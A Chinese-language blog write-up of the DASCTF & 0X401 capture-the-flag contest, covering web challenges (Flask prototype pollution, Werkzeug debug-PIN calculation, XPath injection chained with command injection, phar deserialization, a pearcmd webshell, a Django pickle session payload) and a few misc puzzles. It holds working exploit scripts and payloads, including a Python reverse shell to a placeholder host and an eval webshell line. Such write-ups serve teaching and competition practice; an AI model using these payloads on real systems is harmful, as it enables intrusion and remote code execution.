DASCTF & 0X401
本文最后更新于 295 天前,其中的信息可能已经有所发展或是发生改变。

Web

EzFlask

预期解


import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)
  • Python原型链污染,修改全局变量__file__
{
    "username": "test",
    "password": "test",
    "check": {
        "__func__": {
            "__globals__": {
                "__file__": "secret.py"
            }
        }
    }
}


Response: 

black_list = [b'__init__', b'jinja', b'black_list']
  • 服务器flask开启了DEBUG,读文件算pin,RCE
/etc/machine
96cec10d3d9307792745ec3b85c89620

# 当 /etc/machine 存在时此条无用
/proc/sys/kernel/random/boot_id
867ab5d2-4e57-4335-811b-2943c662e936

/proc/self/cgroup
12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
8:rdma:/
7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

/sys/class/net/eth0/address
f6:96:2c:e1:a0:fc
import hashlib
from itertools import chain


def get_pin_and_cookie_name():
    rv = None
    num = None

    probably_public_bits = [
        "root",
        "flask.app",
        "Flask",
        "/usr/local/lib/python3.10/site-packages/flask/app.py",
    ]

    private_bits = [str(int("f6:96:2c:e1:a0:fc".replace(":", ""), 16)),
                    "96cec10d3d9307792745ec3b85c89620docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope"]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"
    
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    print(rv, cookie_name)


get_pin_and_cookie_name()
  • RCE

附加

  • 对于过滤,可用Unicode绕过
    • check之后是进行了一次json.loads,而json识别unicode
__init__ ==> \u005F\u005F\u0069\u006E\u0069\u0074\u005F
  • 非预期
/proc/1/cmdline
/bin/sh -c echo $FLAG > /flag123123_is312312312_here3123213 && export FLAG=not && FLAG=not && python3 app.py

/proc/1/environ
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=outFLAG=DASCTF{5f5bcb19-67cf-4ddc-b528-8344129be70c}KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1KUBERNETES_SERVICE_HOST=10.240.0.1KUBERNETES_SERVICE_PORT=443LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.10.1PYTHON_PIP_VERSION=21.2.4PYTHON_SETUPTOOLS_VERSION=57.5.0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.pyPYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309FLASK_DEBUG=1HOME=/root

MyPicDisk

一解

  • 万能密码登录
admin' or 1=1;#
中途的包发现源代码
<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>
  • 很明显在class File -> __destruct存在命令拼接
public function __destruct(){
        system("ls -all ".$this->filename);
    }
  • filename绕过过滤和符合linux命名规则
import requests
import base64

url = "http://7acc99b7-ffce-43c8-855e-f7821bed498d.node4.buuoj.cn:81/"

session = requests.Session()

def execCmd(cmd):
    cmd = base64.b64encode(cmd.encode()).decode()
    payload = f".;echo {cmd}|base64 -d|sh;echo png"
    print(payload)

    loginData = {"username": "-1'or 1#", "password": "123", "submit": "submit"}

    session.post(url, data=loginData)

    session.post(url, files={"file": (payload, "aaa")})

    session.post(url, data=loginData)

    res = session.get(f"{url}?file={payload}&todo=show")

    print(res.text)

if __name__ == "__main__":
    execCmd("cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd")

二解

phar反序列化

<?php

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        $this->filename = $filename;
    }
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();

ez-cms

  • pearcmd path file_path
../../../../../../../usr/share/php/pearcmd&+config-create+/<?=@eval(POST["cmd"]);die()?>+/tmp/test.php

ez_py

  • 数据库得到密码
guest/guest
  • Django Session pickle 反序列化
# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn')

class GetShellWithPython(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.call,
                (['python',
                  '-c',
                  'import socket,subprocess,os;'
                  's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
                  's.connect(("xxx.xxx.xxx.xxx",xxxx));'
                  'os.dup2(s.fileno(),0);'
                  'os.dup2(s.fileno(),1);'
                  'os.dup2(s.fileno(),2);'
                  'subprocess.call(["/bin/sh","-i"]);'],))

sess = signing.dumps(
    obj=GetShellWithPython(),
    serializer=PickleSerializer,
    salt='django.contrib.sessions.backends.signed_cookies'
)
print(sess)

ez_timing

  • 伪造session,secret_key为解出的值
#!/usr/bin/env python

import time
from flask import Flask, session,request
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

FLAG = os.environ["SECRET"]
assert " " not in FLAG

TINY_TIME = 6.114514 * 10 ** -44


@app.route("/")
def index():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!,cancan /file\n'.format(session['user'])

@app.route('/getkey')
def getkey():
    if request.method != "GET":
        session["key"] = app.config['SECRET_KEY']       
    else:
        return "GET is not allowd\n"

@app.route("/file")
def read():
    if session.get('user') != "admin":
        return "User not admin! getkey first!\n"
    else:
        with open(__file__) as f:
            return f.read()

@app.route("/<secret>")
def check_flag(secret):
    if len(secret) != len(FLAG):
        return "WAKUWAKU!"
    for a, b in zip(secret, FLAG):
        if a == " ":
            continue
        elif a != b:
            return "WRONG!"
        else:
            time.sleep(TINY_TIME)
    if " " in secret:
        return "WRONG!"
    return "CORRECT!"

Misc

ezFat32

  • 空余空间存在hint
The password of the ZIP Archive is the sha256sum of the `ans.bmp`
  • 提取出bmp
open('out.bmp','wb').write(open('fs - 副本.img','rb').read()[0x100800:0x100800+3267978])
  • password
1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5

Coffee desu!

  • 通过BREW请求,添加milktea
Addition-Type: milktea
  • GET获取flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇